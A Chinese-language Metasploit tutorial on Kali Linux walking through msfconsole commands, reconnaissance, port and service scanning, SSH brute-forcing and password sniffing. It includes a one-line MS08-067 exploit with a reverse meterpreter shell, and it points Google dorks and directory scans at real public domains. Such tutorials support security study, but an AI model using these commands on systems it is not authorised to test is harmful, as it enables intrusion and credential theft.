操作系统:kali Linux2020.3
smfconsole常用命令
msfconsole下可以直接使用终端命令,如ping等
msfdb start
# 启动msf数据库,msf数据库默认使用的postgresql的5432端口,新版本的postgresql是5433无法使用,需要到/etc/postgresql/13/main/postgresql.conf下修改为5432端口
msfconsole -q
# 启动msfconsole(-q为安静启动)
db_status
# 查看数据库状态,若显示no connect,先exit msfconsole,查看5432端口是否在侦听,如果在,尝试重启msfdb:msfdb stop,msfdb start;或初始化msfdb:msfdb reinit
help
# 帮助
search
# 搜索
use
# 载入模块
info
# 查看模块信息
back
# 返回
show option
# 查看模块选项
show missing
# 查看必须配置而未被配置的选项
set
# 设置某一选项
show advanced
# 高级选项
run -j
# 执行模块(-j为后台执行)
jobs
# 查看正在运行的任务
jobs -K
# 关闭所有任务
jobs -k 2
# 关闭指定(job id)任务
session
# 查看已经连接的会话(shell)
session -i 1
# 使用某shell(session id)
background
# 暂时退出shell
route add 10.1.1.1 255.255.255.0 3
# 内网代理(其sessionid为3)
load
# 加载插件(unload去除插件)
resource add conmand.rc
# 导入运行命令文件(每行一个msf命令),终端下使用msfconsole -r conmand.rc
msfconsole -x "use exploit/windows/smb/ms08_067_netapi;set rhost 192.168.172.130;set target 34;set payload windows/meterpreter/reverse_tcp;run"
# 终端下直接使用一些列命令
save
# 保存配置信息
exit
# 退出
被动信息收集
whois
msf6 > whois baidu.com
IP查询
recon-ng
子域名与ip批量改查询工具。
recon-ng
Dig
msf6 > dig sina.com any @8.8.8.8
# 查询A、NS等记录
msf6 > dig sina.com A @8.8.8.8
# 查询A记录
反向查询SOA(起始授权记录):
msf6 > dig -x 47.95.164.112
枚举网站目录结构
首先尝试:
www.baidu.com/robots.txt
# 记录用于防止搜索的目录的文件
GoogleHack
- 查找是否开放文件列表浏览的目录页面:
intext:to parent directory insite:baidu.com
- 查找指定格式文件:
filetype:xls insite:baidu.com
dir_scanner
基于字典的猜解目录:
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(scanner/http/dir_scanner) > set THREADS 50
THREADS => 50
msf6 auxiliary(scanner/http/dir_scanner) > set RHOSTS www.baidu.com
RHOSTS => www.baidu.com
msf6 auxiliary(scanner/http/dir_scanner) > run
搜索网站中的E-mail地址
如目标邮件地址为@sina.com,可以利用search_email_collector进行收集(需要代理):
root@kali:~# proxychains msfconsole -q
msf6 > use auxiliary/gather/search_email_collector
msf6 auxiliary(gather/search_email_collector) > set domain sina.com
msf6 auxiliary(gather/search_email_collector) > run
利用GoogleHack搜索易存在注入的界面
insite:baidu.com inurl:?id=
主动信息收集
主机发现
主机发现模块位于auxiliary/scanner/discovery/下,常用的有:
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_sweep
arp_sweep
msf6 > use auxiliary/scanner/discovery/arp_sweep
msf6 auxiliary(scanner/discovery/arp_sweep) > set threads 50
threads => 50
msf6 auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.172.0/24
rhosts => 192.168.172.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > run
[+] 192.168.172.1 appears to be up (VMware, Inc.).
[+] 192.168.172.2 appears to be up (VMware, Inc.).
[+] 192.168.172.131 appears to be up (VMware, Inc.).
[+] 192.168.172.136 appears to be up (VMware, Inc.).
[+] 192.168.172.254 appears to be up (VMware, Inc.).
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
udp_sweep同理。
db_nmap
在msf中可以通过db_nmap使用nmap:
msf6 > db_nmap -PU 192.168.172.0/24
msf6 > db_nmap -O 192.168.172.131
msf6 > hosts
# 查看已扫描的主机
与直接nmap不同的是,db_nmap可以记录已扫描的主机。
查找僵尸机
- auxiliary/scanner/ip/ipidseq模块
找到僵尸机可以利用僵尸机进行扫描:
msf6 auxiliary(scanner/ip/ipidseq) > db_nmap -sV -PN -sI 192.168.172.130 192.168.172.133
# sI后跟僵尸机IP
端口扫描与服务类型探测
推荐使用nmap进行端口扫描。
portscan目录
- auxiliary/scanner/portscan/模块目录:
msf6 > search portscan/
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
1 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
2 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
3 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
4 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
Interact with a module by name or index. For example info 4, use 4 or use auxiliary/scanner/portscan/xmas
- ack:通过ACK扫描对端口进行探测;
- ftpbounce:通过FTP bounce 攻击的原理对TCP 服务进行枚举,主要存在于一些旧的Solaris及FreeBSD 系统的FTP服务中。
- syn:通过发送TCP SYN 标志的方式探测开放端口。
- tcp:通过完整TCP连接判断端口是否开放。
- xmas:更为隐蔽的扫描方式,通过发送FIN、PSH 和 URG 标志,能够避免一些高级的TCP 标记检测器的过滤。
一般情况推荐使用syn扫描。
db_nmap
端口状态
- open:此端口正在被应用程序监听
- closed:主机已响应,但没有应用程序监听
- filtered:Nmap不能确定,可能被防火墙保护
- unfiltered:仅在ACK扫描时,Nmap无法确定是否开放,可以使用其他类型进一步扫描。(如SYN、FIN等)
常用扫描参数与扫描选项
参数
- sT:TCP 扫描
- sS:TCP SYN扫描(隐蔽)
- sA:TCP ACK扫描
- sP:发送ICMP echo 请求探测主机是否存活,原理同Ping
- sU:探测开放的UDP 端口
- sF/sX/sN:发送一些标志位躲避防火墙检测
选项
- Pn:扫描前不发送ICMP echo请求测试探测主机是否存活(将目标主机视为存活)
- O:操作系统探测(基于TCP/IP协议栈的指纹特征)
- F:快速扫描(只扫描nmap-services中列出的端口)
- p<端口范围>:指定端口范围
服务信息探测
在知道目标主机存活之后,进一步探测服务版本信息,看是否是存在漏洞的版本:
msf6 > db_nmap -sV 192.168.172.131 -Pn
常见网络服务扫描
若已知目标开启了某服务,可对其进行进一步扫描。
可以搜索scanner/<服务名称>,如smb:search scanner/smb。
Telnet
- auxiliary/scanner/telnet/telnet_version 模块
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.172.0/24
rhosts => 192.168.172.131
msf6 auxiliary(scanner/telnet/telnet_version) > set thread 100
thread => 100
msf6 auxiliary(scanner/telnet/telnet_version) > run
SSH
- auxiliary/scanner/ssh/ssh_version模块
Oracle 数据库服务
- auxiliary/scanner/oracle/tnslsnr_version模块
开放代理探测
- auxiliary/scanner/http/open_proxy模块
不清楚的选项可以使用show options查看说明。
msf6 auxiliary(scanner/http/open_proxy) > set multiports true
multiports => true
msf6 auxiliary(scanner/http/open_proxy) > set rhosts 24.25.24.1-24.25.26.254
rhosts => 24.25.24.1-24.25.26.254
msf6 auxiliary(scanner/http/open_proxy) > set threads 100
threads => 100
msf6 auxiliary(scanner/http/open_proxy) > set verifyconnect true
verifyconnect => true
msf6 auxiliary(scanner/http/open_proxy) >
Waf识别
httpwaf识别
msf6 > wafw00f www.baidu.com
口令破解与嗅探
口令破解
SSH
- auxiliary/scanner/ssh/ssh_login 模块
msf6 auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.172.136
rhosts => 192.168.172.136
msf6 auxiliary(scanner/ssh/ssh_login) > set user root
user => rootauxiliary(scanner/ssh/ssh_login) > set userpass_file /usr/share/wordlists/metasploit/piata_ssh_userpass.txt
pass_file => /pass.txt
# 也可以设置userpass_file,就可以不用设置user
msf6 auxiliary(scanner/ssh/ssh_login) > set threads 50
threads => 50
msf6 auxiliary(scanner/ssh/ssh_login) > run
SNMP
- auxiliary/scanner/snmp/snmp_login模块
…
发现端口后也可以尝试利用hydra破解。
口令嗅探
- auxiliary/sniffer/psnuffle模块
内网嗅探:
msf6 > use auxiliary/sniffer/psnuffle
msf6 auxiliary(sniffer/psnuffle) > run
漏洞扫描
扫描器
关于大型漏洞扫描器(如openvas、Nessus,AWVS,Appscan等),请参考以前的文章。
Nmap
脚本路径:
/usr/share/nmap/scripts
当你发现目标开放服务后,可以使用nmap对指定服务发现漏洞:
ls /usr/share/nmap/scripts | grep smb